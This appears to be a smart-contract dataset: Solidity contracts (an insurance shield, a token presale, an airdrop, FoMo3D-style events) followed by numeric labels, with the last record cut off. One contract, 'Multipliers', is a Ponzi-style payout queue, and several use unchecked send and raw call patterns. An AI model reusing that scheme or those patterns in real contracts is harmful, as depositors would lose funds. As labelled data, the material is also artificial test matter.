function getTokensOwed(uint256 ethOwed, address pToken, address uTokenLink) external view returns (uint256);
function getEthOwed(uint256 tokensOwed, address pToken, address uTokenLink) external view returns (uint256);
}
pragma solidity 0.8.4;
interface ICovBase {
function editShield(address shield, bool active) external;
function updateShield(uint256 ethValue) external payable;
function checkCoverage(uint256 pAmount) external view returns (bool);
function getShieldOwed(address shield) external view returns (uint256);
}
pragma solidity 0.8.4;
interface IController {
function bonus() external view returns (uint256);
function refFee() external view returns (uint256);
function governor() external view returns (address);
function depositAmt() external view returns (uint256);
function beneficiary() external view returns (address payable);
}
pragma solidity 0.8.4;
interface IArmorToken {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function mint(address to, uint256 amount) external returns (bool);
function burn(uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function balanceOfAt(address account, uint256 blockNo) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity 0.8.4;
contract arShield {
uint256 constant DENOMINATOR = 10000;
bool public capped;
bool public locked;
uint256 public limit;
address payable public beneficiary;
address public depositor;
uint256 public payoutAmt;
uint256 public payoutBlock;
uint256 public refTotal;
uint256[] public feesToLiq;
uint256[] public feePerBase;
uint256 public totalTokens;
mapping (address => uint256) public refBals;
mapping (uint256 => mapping (address => uint256)) public paid;
address public uTokenLink;
IERC20 public pToken;
IOracle public oracle;
IArmorToken public arToken;
ICovBase[] public covBases;
IController public controller;
event Unlocked(uint256 timestamp);
event Locked(address reporter, uint256 timestamp);
event HackConfirmed(uint256 payoutBlock, uint256 timestamp);
event Mint(address indexed user, uint256 amount, uint256 timestamp);
event Redemption(address indexed user, uint256 amount, uint256 timestamp);
modifier onlyGov
{
require(msg.sender == controller.governor(), "Only governance may call this function.");
_;
}
modifier isLocked
{
require(locked, "You may not do this while the contract is unlocked.");
_;
}
modifier notLocked
{
require(!locked, "You may not do this while the contract is locked.");
_;
}
modifier withinLimits
{
_;
uint256 _limit = limit;
require(_limit == 0 || pToken.balanceOf( address(this) ) <= _limit, "Too much value in the shield.");
}
receive() external payable {}
function initialize(
address _oracle,
address _pToken,
address _arToken,
address _uTokenLink,
uint256[] calldata _fees,
address[] calldata _covBases
)
external
{
require(address(arToken) == address(0), "Contract already initialized.");
uTokenLink = _uTokenLink;
pToken = IERC20(_pToken);
oracle = IOracle(_oracle);
arToken = IArmorToken(_arToken);
controller = IController(msg.sender);
beneficiary = controller.beneficiary();
require(_covBases.length == _fees.length, "Improper length array.");
for(uint256 i = 0; i < _covBases.length; i++) {
covBases.push( ICovBase(_covBases[i]) );
feePerBase.push(_fees[i]);
feesToLiq.push(0);
}
}
function mint(
uint256 _pAmount,
address _referrer
)
external
notLocked
withinLimits
{
address user = msg.sender;
(
uint256 fee,
uint256 refFee,
uint256 totalFees,
uint256[] memory newFees
) = _findFees(_pAmount);
uint256 arAmount = arValue(_pAmount - fee);
pToken.transferFrom(user, address(this), _pAmount);
_saveFees(newFees, _referrer, refFee);
if (capped) {
uint256 ethValue = getEthValue(pToken.balanceOf( address(this) ) - totalFees);
require(checkCapped(ethValue), "Not enough coverage available.");
for (uint256 i = 0; i < covBases.length; i++) covBases[i].updateShield(ethValue);
}
arToken.mint(user, arAmount);
emit Mint(user, arAmount, block.timestamp);
}
function redeem(
uint256 _arAmount,
address _referrer
)
external
{
address user = msg.sender;
uint256 pAmount = pValue(_arAmount);
arToken.transferFrom(user, address(this), _arAmount);
arToken.burn(_arAmount);
(
uint256 fee,
uint256 refFee,
uint256 totalFees,
uint256[] memory newFees
) = _findFees(pAmount);
pToken.transfer(user, pAmount - fee);
_saveFees(newFees, _referrer, refFee);
uint256 ethValue = getEthValue(pToken.balanceOf( address(this) ) - totalFees);
for (uint256 i = 0; i < covBases.length; i++) covBases[i].updateShield(ethValue);
emit Redemption(user, _arAmount, block.timestamp);
}
function liquidate(
uint256 _covId
)
external
payable
{
(
uint256 ethOwed,
uint256 tokensOwed,
uint256 tokenFees
) = liqAmts(_covId);
require(msg.value <= ethOwed, "Too much Ether paid.");
(
uint256 tokensOut,
uint256 feesPaid,
uint256 ethValue
) = payAmts(
msg.value,
ethOwed,
tokensOwed,
tokenFees
);
covBases[_covId].updateShield{value:msg.value}(ethValue);
feesToLiq[_covId] -= feesPaid;
pToken.transfer(msg.sender, tokensOut);
}
function claim()
external
isLocked
{
uint256 balance = arToken.balanceOfAt(msg.sender, payoutBlock);
uint256 owedBal = balance - paid[payoutBlock][msg.sender];
uint256 amount = payoutAmt
* owedBal
/ 1 ether;
require(balance > 0 && amount > 0, "Sender did not have funds on payout block.");
paid[payoutBlock][msg.sender] += owedBal;
payable(msg.sender).transfer(amount);
}
function withdraw(
address _user
)
external
{
uint256 balance = refBals[_user];
refBals[_user] = 0;
pToken.transfer(_user, balance);
}
function pValue(
uint256 _arAmount
)
public
view
returns (
uint256 pAmount
)
{
uint256 totalSupply = arToken.totalSupply();
if (totalSupply == 0) return _arAmount;
pAmount = ( pToken.balanceOf( address(this) ) - totalFeeAmts() )
* _arAmount
/ totalSupply;
}
function arValue(
uint256 _pAmount
)
public
view
returns (
uint256 arAmount
)
{
uint256 balance = pToken.balanceOf( address(this) );
if (balance == 0) return _pAmount;
arAmount = arToken.totalSupply()
* _pAmount
/ ( balance - totalFeeAmts() );
}
function liqAmts(
uint256 _covId
)
public
view
returns(
uint256 ethOwed,
uint256 tokensOwed,
uint256 tokenFees
)
{
ethOwed = covBases[_covId].getShieldOwed( address(this) );
if (ethOwed > 0) tokensOwed = oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink);
tokenFees = feesToLiq[_covId];
require(tokensOwed + tokenFees > 0, "No fees are owed.");
uint256 ethFees = ethOwed > 0 ?
ethOwed
* tokenFees
/ tokensOwed
: getEthValue(tokenFees);
ethOwed += ethFees;
tokensOwed += tokenFees;
uint256 liqBonus = tokensOwed
* controller.bonus()
/ DENOMINATOR;
tokensOwed += liqBonus;
}
function payAmts(
uint256 _ethIn,
uint256 _ethOwed,
uint256 _tokensOwed,
uint256 _tokenFees
)
public
view
returns(
uint256 tokensOut,
uint256 feesPaid,
uint256 ethValue
)
{
tokensOut = _ethIn
* _tokensOwed
/ _ethOwed;
feesPaid = _ethIn
* _tokenFees
/ _ethOwed;
ethValue = (pToken.balanceOf( address(this) )
- totalFeeAmts())
* _ethOwed
/ _tokensOwed;
}
function totalFeeAmts()
public
view
returns(
uint256 totalOwed
)
{
for (uint256 i = 0; i < covBases.length; i++) {
uint256 ethOwed = covBases[i].getShieldOwed( address(this) );
if (ethOwed > 0) totalOwed += oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink);
totalOwed += feesToLiq[i];
}
totalOwed += refTotal;
}
function checkCapped(
uint256 _ethValue
)
public
view
returns(
bool allowed
)
{
if (capped) {
for(uint256 i = 0; i < covBases.length; i++) {
if( !covBases[i].checkCoverage(_ethValue) ) return false;
}
}
allowed = true;
}
function getEthValue(
uint256 _pAmount
)
public
view
returns(
uint256 ethValue
)
{
ethValue = oracle.getEthOwed(_pAmount, address(pToken), uTokenLink);
}
function findFeePct()
external
view
returns(
uint256 percent
)
{
uint256 end = feePerBase.length;
for (uint256 i = 0; i < end; i++) percent += feePerBase[i];
percent += controller.refFee()
* percent
/ DENOMINATOR;
}
function _findFees(
uint256 _pAmount
)
internal
view
returns(
uint256 userFee,
uint256 refFee,
uint256 totalFees,
uint256[] memory newFees
)
{
newFees = feesToLiq;
for (uint256 i = 0; i < newFees.length; i++) {
totalFees += newFees[i];
uint256 fee = _pAmount
* feePerBase[i]
/ DENOMINATOR;
newFees[i] += fee;
userFee += fee;
}
refFee = userFee
* controller.refFee()
/ DENOMINATOR;
userFee += refFee;
totalFees += userFee + refTotal;
}
function _saveFees(
uint256[] memory liqFees,
address _referrer,
uint256 _refFee
)
internal
{
refTotal += _refFee;
if ( _referrer != address(0) ) refBals[_referrer] += _refFee;
else refBals[beneficiary] += _refFee;
for (uint256 i = 0; i < liqFees.length; i++) feesToLiq[i] = liqFees[i];
}
function notifyHack()
external
payable
notLocked
{
require(msg.value == controller.depositAmt(), "You must pay the deposit amount to notify a hack.");
depositor = msg.sender;
locked = true;
emit Locked(msg.sender, block.timestamp);
}
function confirmHack(
uint256 _payoutBlock,
uint256 _payoutAmt
)
external
isLocked
onlyGov
{
payable(depositor).call{value: controller.depositAmt()}("");
delete depositor;
payoutBlock = _payoutBlock;
payoutAmt = _payoutAmt;
emit HackConfirmed(_payoutBlock, block.timestamp);
}
function unlock()
external
isLocked
onlyGov
{
locked = false;
delete payoutBlock;
delete payoutAmt;
emit Unlocked(block.timestamp);
}
function withdrawExcess(address _token)
external
notLocked
{
if ( _token == address(0) ) beneficiary.transfer( address(this).balance );
else if ( _token != address(pToken) ) {
IERC20(_token).transfer( beneficiary, IERC20(_token).balanceOf( address(this) ) );
}
}
function banPayouts(
uint256 _payoutBlock,
address[] calldata _users,
uint256[] calldata _amounts
)
external
onlyGov
{
for (uint256 i = 0; i < _users.length; i++) paid[_payoutBlock][_users[i]] += _amounts[i];
}
function changeFees(
uint256[] calldata _newFees
)
external
onlyGov
{
require(_newFees.length == feePerBase.length, "Improper fees length.");
for (uint256 i = 0; i < _newFees.length; i++) feePerBase[i] = _newFees[i];
}
function changeBeneficiary(
address payable _beneficiary
)
external
onlyGov
{
beneficiary = _beneficiary;
}
function changeCapped(
bool _capped
)
external
onlyGov
{
capped = _capped;
}
function changeLimit(
uint256 _limit
)
external
onlyGov
{
limit = _limit;
}
function cancelCoverage(
uint256 _covId
)
external
onlyGov
{
covBases[_covId].updateShield(0);
}
} | 0 | 1,711 |
pragma solidity ^0.4.23;
contract MultiOwnable {
address public root;
mapping (address => address) public owners;
constructor() public {
root = msg.sender;
owners[root] = root;
}
modifier onlyOwner() {
require(owners[msg.sender] != 0);
_;
}
function newOwner(address _owner) onlyOwner external returns (bool) {
require(_owner != 0);
owners[_owner] = msg.sender;
return true;
}
function deleteOwner(address _owner) onlyOwner external returns (bool) {
require(owners[_owner] == msg.sender || (owners[_owner] != 0 && msg.sender == root));
owners[_owner] = 0;
return true;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, MultiOwnable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract HUMToken is MintableToken, BurnableToken {
string public constant name = "HUMToken";
string public constant symbol = "HUM";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 2500 * 1000 * 1000 * (10 ** uint256(decimals));
bool public isUnlocked = false;
constructor(address _wallet) public {
totalSupply_ = INITIAL_SUPPLY;
balances[_wallet] = INITIAL_SUPPLY;
emit Transfer(address(0), _wallet, INITIAL_SUPPLY);
}
modifier onlyTransferable() {
require(isUnlocked || owners[msg.sender] != 0);
_;
}
function transferFrom(address _from, address _to, uint256 _value) public onlyTransferable returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public onlyTransferable returns (bool) {
return super.transfer(_to, _value);
}
function unlockTransfer() public onlyOwner {
isUnlocked = true;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract IndividuallyCappedCrowdsale is Crowdsale {
using SafeMath for uint256;
mapping(address => uint256) public contributions;
uint256 public individualCap;
constructor(uint256 _individualCap) public {
individualCap = _individualCap;
}
function getUserCap() public view returns (uint256) {
return individualCap;
}
function getUserContribution(address _beneficiary) public view returns (uint256) {
return contributions[_beneficiary];
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(contributions[_beneficiary].add(_weiAmount) <= individualCap);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount);
}
}
contract WhitelistedCrowdsale is Crowdsale, MultiOwnable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract HUMPresale is WhitelistedCrowdsale, IndividuallyCappedCrowdsale {
uint256 public constant minimum = 100000000000000000;
bool public isOnSale = false;
mapping(address => uint256) public bonusTokens;
uint256 public bonusPercent;
address[] public contributors;
event DistrubuteBonusTokens(address indexed sender);
event Withdraw(address indexed _from, uint256 _amount);
constructor (
uint256 _rate,
uint256 _bonusPercent,
address _wallet,
HUMToken _token,
uint256 _individualCapEther
)
public
Crowdsale(_rate, _wallet, _token)
IndividuallyCappedCrowdsale(_individualCapEther.mul(10 ** 18))
{
bonusPercent = _bonusPercent;
}
function modifyTokenPrice(uint256 _rate) public onlyOwner {
rate = _rate;
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
super._processPurchase(_beneficiary, _tokenAmount);
if (bonusPercent > 0) {
if (contributions[_beneficiary] == 0) {
contributors.push(_beneficiary);
}
bonusTokens[_beneficiary] = bonusTokens[_beneficiary].add(_tokenAmount.mul(bonusPercent).div(1000));
}
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
bool isOverMinimum = _weiAmount >= minimum;
require(isOverMinimum && isOnSale);
}
function openSale() public onlyOwner {
require(!isOnSale);
isOnSale = true;
}
function closeSale() public onlyOwner {
require(isOnSale);
if (token.balanceOf(this) > 0) {
withdrawToken();
}
isOnSale = false;
}
function withdrawToken() public onlyOwner {
uint256 balanceOfThis = token.balanceOf(this);
token.transfer(wallet, balanceOfThis);
emit Withdraw(wallet, balanceOfThis);
}
function distributeBonusTokens() public onlyOwner {
require(!isOnSale);
for (uint i = 0; i < contributors.length; i++) {
if (bonusTokens[contributors[i]] > 0) {
token.transferFrom(wallet, contributors[i], bonusTokens[contributors[i]]);
bonusTokens[contributors[i]] = 0;
}
}
emit DistrubuteBonusTokens(msg.sender);
}
function getContributors() public view onlyOwner returns(address[]) {
return contributors;
}
function getBonusList() public view onlyOwner returns(address[]) {
address[] memory contributorsTmp = new address[](contributors.length);
uint count = 0;
uint i;
for (i = 0; i < contributors.length; i++) {
if (bonusTokens[contributors[i]] > 0) {
contributorsTmp[count] = contributors[i];
count += 1;
}
}
address[] memory _bonusList = new address[](count);
for (i = 0; i < count; i++) {
_bonusList[i] = contributorsTmp[i];
}
return _bonusList;
}
function distributeBonusTokensByList(address[] _bonusList) public onlyOwner {
require(!isOnSale);
for (uint i = 0; i < _bonusList.length; i++) {
if (bonusTokens[_bonusList[i]] > 0) {
token.transferFrom(wallet, _bonusList[i], bonusTokens[_bonusList[i]]);
bonusTokens[_bonusList[i]] = 0;
}
}
emit DistrubuteBonusTokens(msg.sender);
}
} | 1 | 3,387 |
pragma solidity ^0.4.25;
contract Multipliers {
address constant private FATHER = 0x7CDfA222f37f5C4CCe49b3bBFC415E8C911D1cD8;
address constant private TECH = 0xDb058D036768Cfa9a94963f99161e3c94aD6f5dA;
address constant private PROMO = 0xdA149b17C154e964456553C749B7B4998c152c9E;
uint constant public FATHER_PERCENT = 1;
uint constant public TECH_PERCENT = 2;
uint constant public PROMO_PERCENT = 2;
uint constant public PRIZE_PERCENT = 2;
uint constant public MAX_INVESTMENT = 10 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.05 ether;
uint constant public MAX_IDLE_TIME = 20 minutes;
uint8[] MULTIPLIERS = [
111,
113,
117,
121,
125,
130,
135,
141
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
uint public currentQueueSize = 0;
LastDepositInfo public lastDepositInfo;
uint public prizeAmount = 0;
int public stage = 0;
mapping(address => DepositCount) public depositsMade;
constructor(){
queue.push(Deposit(address(0x1),0,1));
}
function () public payable {
require(msg.sender == FATHER || tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0 && msg.sender != FATHER){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_INVESTMENT, "The investment is too much!");
checkAndUpdateStage();
require(getStageStartTime(stage+1) >= now + MAX_IDLE_TIME);
addDeposit(msg.sender, msg.value);
pay();
}else if(msg.value == 0){
withdrawPrize();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE)
lastDepositInfo = LastDepositInfo(uint128(currentQueueSize), uint128(now));
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
c.count++;
prizeAmount += value*(FATHER_PERCENT + PRIZE_PERCENT)/100;
uint support = value*TECH_PERCENT/100;
TECH.send(support);
uint adv = value*PROMO_PERCENT/100;
PROMO.send(adv);
}
function checkAndUpdateStage() private{
int _stage = getCurrentStageByTime();
require(_stage >= stage, "We should only go forward in time");
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
delete lastDepositInfo;
}
function withdrawPrize() private {
require(lastDepositInfo.time > 0 && lastDepositInfo.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfo.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
if(prizeAmount > balance)
prizeAmount = balance;
uint donation = prizeAmount*FATHER_PERCENT/(FATHER_PERCENT + PRIZE_PERCENT);
if(donation > 10 ether)
donation = 10 ether;
require(gasleft() >= 300000, "We need gas for the father contract");
FATHER.call.value(donation).gas(250000)();
uint prize = prizeAmount - donation;
queue[lastDepositInfo.index].depositor.send(prize);
prizeAmount = 0;
proceedToNewStage(stage + 1);
}
function push(address depositor, uint deposit, uint expect) private {
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length);
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17 hours) / 1 days - 17844;
}
function getStageStartTime(int _stage) public pure returns (uint) {
return 17 hours + uint(_stage + 17844)*1 days;
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfo.index && lastDepositInfo.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfo.index];
addr = d.depositor;
timeLeft = int(lastDepositInfo.time + MAX_IDLE_TIME) - int(now);
}
}
} | 0 | 36 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Airdrop {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address owner = 0x0;
uint256 public rate;
modifier isOwner {
assert(owner == msg.sender);
_;
}
event TokenDropped(
address indexed sender,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(ERC20 _token) public
{
require(_token != address(0));
owner = msg.sender;
token = _token;
}
function () external payable {
sendAirDrops(msg.sender);
}
function sendAirDrops(address _beneficiary) public payable
{
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_processAirdrop(_beneficiary, tokens);
emit TokenDropped(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
}
function collect(uint256 _weiAmount) isOwner public {
address thisAddress = this;
owner.transfer(thisAddress.balance);
}
function withdraw(uint256 _tokenAmount) isOwner public {
token.safeTransfer(owner, _tokenAmount);
}
function _preValidatePurchase( address _beneficiary, uint256 _weiAmount) internal
{
require(_beneficiary != address(0));
require(_weiAmount >= 1 * (10 ** 17));
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 seed = _weiAmount.div(1 * (10**9));
return seed.mul(33);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processAirdrop(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
} | 0 | 913 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
